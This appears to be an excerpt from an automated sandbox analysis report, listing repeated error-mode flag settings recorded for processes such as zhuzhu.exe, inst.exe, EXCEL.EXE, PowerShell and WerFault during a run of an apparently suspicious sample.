Source: C:\Users\user\Desktop\zhuzhu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Downloads\inst.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
